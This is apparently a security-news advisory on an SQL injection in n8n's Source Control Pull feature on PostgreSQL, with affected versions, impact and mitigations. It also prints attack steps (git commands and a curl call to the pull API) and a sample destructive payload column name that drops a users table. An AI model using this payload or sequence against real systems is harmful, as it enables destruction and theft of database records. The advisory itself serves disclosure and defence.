Listen to this Post
How the Mentioned CVE Works
The vulnerability exists in n8n’s Source Control feature when PostgreSQL is used as the database backend. An attacker with write access to the connected Git repository can commit a malicious Data Table JSON file containing a specially crafted column name. This payload is stored in the repository, but remains inactive until an administrator performs a Source Control Pull. When the administrator triggers the pull, n8n imports the Data Table file and processes the malicious column name without proper sanitization. The crafted column name directly influences SQL queries, causing the application to execute arbitrary SQL commands on the internal PostgreSQL instance. This allows the attacker to read, modify, or delete database records. Exploitation requires three conditions: PostgreSQL backend, Source Control enabled, and an administrator performing a pull. The issue is fixed in versions 1.123.43, 2.20.7, and 2.21.1.
dailycve form
Platform: n8n automation platform
Version: <1.123.43, <2.20.7, <2.21.1
Vulnerability: Source Control Pull SQL Injection
Severity: High (CVSS 9.9)
date: 2026-05-13
Prediction: Patch already available
What Undercode Say:
Check n8n version
n8n --version
Download malicious repository with crafted payload
git clone https://github.com/attacker/malicious-n8n-repo.git
Commit malicious Data Table JSON file
git add data-table.json
git commit -m "Add data table"
git push
Administrator triggers Source Control Pull via API
curl -X POST http://localhost:5678/api/v1/source-control/pull \
-H "Authorization: Bearer <admin-token>"
Example of malicious column name in data-table.json
{
"columns": [
"id",
"name'; DROP TABLE users; --"
]
}
Exploit
The attacker crafts a column name containing SQL injection payloads. When n8n processes the Data Table JSON during a Source Control Pull, the unsafe column name is inserted into a SQL query without parameterization. For example, a column named `name’; DROP TABLE users; –` would cause the application to execute arbitrary SQL commands on the internal PostgreSQL database. This can lead to data exfiltration, privilege escalation, or denial of service.
Protection from this CVE
- Upgrade n8n to versions 1.123.43, 2.20.7, 2.21.1, or later.
- If upgrading is not possible, disable Source Control feature.
- Restrict write access to the connected Git repository to trusted users only.
- Avoid pulling from untrusted repositories.
- Monitor Source Control Pull activities and validate incoming Data Table JSON files.
Impact
Successful exploitation allows a remote attacker to execute arbitrary SQL commands on the internal PostgreSQL instance. The attacker can read sensitive data, modify or delete records, and potentially compromise the entire database. This could lead to complete loss of confidentiality, integrity, and availability of the n8n instance.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
